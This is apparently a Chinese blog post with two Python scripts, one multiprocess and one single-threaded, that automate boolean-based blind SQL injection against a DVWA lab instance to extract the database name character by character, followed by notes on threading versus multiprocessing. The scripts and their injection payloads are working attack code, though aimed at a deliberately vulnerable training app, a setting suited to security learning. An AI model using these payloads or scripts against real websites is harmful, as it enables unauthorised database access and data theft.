请注意,本文编写于 787 天前,最后修改于 770 天前,其中某些信息可能已经过时。
目录
加入多线程&多进程
新版本
pythonimport concurrent.futures
import requests
from bs4 import BeautifulSoup
def run_code(demot):
texterr = "User ID is MISSING from the database."
base_url = "http://192.168.236.20/dvwa/vulnerabilities/sqli_blind/"
session_id = "8tuabbh2e1oiv0c2flpn3jbvk4"
params = {"id": demot, "Submit": "Submit"}
cookies = {"PHPSESSID": session_id, "security": "low"}
response = requests.get(base_url, params=params, cookies=cookies)
print(response.status_code)
soup = BeautifulSoup(response.text, "html.parser")
search_results = soup.find_all("pre")
print(search_results)
print(demot)
for result in search_results:
text = result.text.strip()
print(text)
if (text != texterr) and ("User ID exists in the database." in text):
with open("example.txt", "a") as file:
file.write(demot + "\n")
# 多线程运行
# if __name__ == "__main__":
# demots = list(range(1, 200)) # 保存所有需要运行的demot
# max_threads = 10 # 最大线程数
# with concurrent.futures.ThreadPoolExecutor(max_workers=max_threads) as executor:
# for i in range(1, 6):
# for demo in range(1, 128):
# demot = f"1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),{i},1)) = {demo}) #"
# executor.submit(run_code, demot)
# 多进程
if __name__ == "__main__":
max_processes = 60
with concurrent.futures.ProcessPoolExecutor(max_workers=max_processes) as executor:
for i in range(1, 6):
for demo in range(1, 128):
# demot = f"1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),{i},1)) = {demo}) #"
demot = f"1'and ord(substr(database(),{i},1))= {demo} #"
executor.submit(run_code, demot)
旧版本
pythonimport requests
from bs4 import BeautifulSoup
texterr = "User ID is MISSING from the database."
base_url = "http://192.168.236.20/dvwa/vulnerabilities/sqli_blind/"
session_id = "sb35jegkjt33kjgovvptbua022"
for i in range(1, 5):
for demo in range(1, 128):
demot = f"1' and ord(substr(database(), {i}, 1)) = {demo} #"
params = {"id": demot, "Submit": "Submit"}
cookies = {"PHPSESSID": session_id, "security": "low"}
response = requests.get(base_url, params=params, cookies=cookies)
soup = BeautifulSoup(response.text, "html.parser")
search_results = soup.find_all("pre")
for result in search_results:
text = result.text.strip()
print(demot)
if (text != texterr) and ("User ID exists in the database." in text):
with open("example.txt", "a") as file:
file.write(demot + "\n")
break
- 导入了requests和BeautifulSoup模块,分别用于发送HTTP请求和解析HTML页面。
- 定义了一个错误信息变量texterr,以及目标网站的基本URL和会话ID。
- 使用嵌套循环,遍历数据库名称1-4的ASCII码。
- 构造Payload字符串demot,然后将其作为参数发送到目标网址。
- 从响应中解析出页面内容,然后在页面中查找包含响应文本的标签(pre)的内容。
- 检查每个找到的结果,如果文本不等于错误信息并且包含指定提示,则将查询字符串写入到文件"example.txt"中,并且停止当前循环。
- 由于在实际测试中测试Payload会返回一个404响应,但其并不影响页面的返回,故没有设置检查响应码
相关信息
新版本使用了concurrent.futures.ProcessPoolExecutor(max_workers=max_processes) as executor 创建了一个进程池执行器(ProcessPoolExecutor),设置最大工作进程数为max_processes
来达到加速测试的效果
以下是对python的多线程和多进程的优劣关系和应用场景的解释
多线程(Threading)
优点:
- 轻量级:线程的创建和销毁比进程快,资源消耗较少。
- 共享内存:线程间可以共享内存,数据传输简单。
- I/O密集型:如果爬虫主要受限于网络I/O,多线程可以有效地利用等待时间来执行其他任务。
缺点:
- 全局解释器锁(GIL):Python的CPython实现中的GIL限制了同一时间只能有一个线程执行,这意味着多线程并不能有效利用多核CPU进行并行计算。
- 资源限制:操作系统对线程的数量有限制,过多的线程可能导致效率降低。
多进程(Multiprocessing)
优点:
- 绕过GIL:每个进程有自己的Python解释器和内存空间,可以绕过GIL的限制,实现真正的并行执行。
- CPU密集型:如果爬虫任务是CPU密集型的,多进程可以更好地利用多核处理器。
- 稳定性:进程间相互独立,一个进程崩溃不会影响其他进程。
缺点:
- 资源消耗:进程的创建和销毁比线程慢,消耗的资源更多。
- 进程间通信(IPC):进程间需要通过IPC进行通信,这比线程间共享内存复杂。
- 数据共享:进程间共享数据不如线程间方便,需要使用特定的IPC机制。
选择建议:
- I/O密集型任务:如果爬虫主要受限于网络请求和响应时间,多线程可能更合适,因为它可以更有效地利用等待时间。
- CPU密集型任务:如果爬虫涉及到大量的数据处理,多进程可能更合适,因为它可以利用多核CPU进行并行处理。
- 爬虫规模:对于大规模的爬虫,多进程可能更有利于扩展和管理。
- 开发和维护成本:多线程相对简单,但多进程虽然复杂但更稳定。
分享:
本文作者:Casear
本文链接:
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!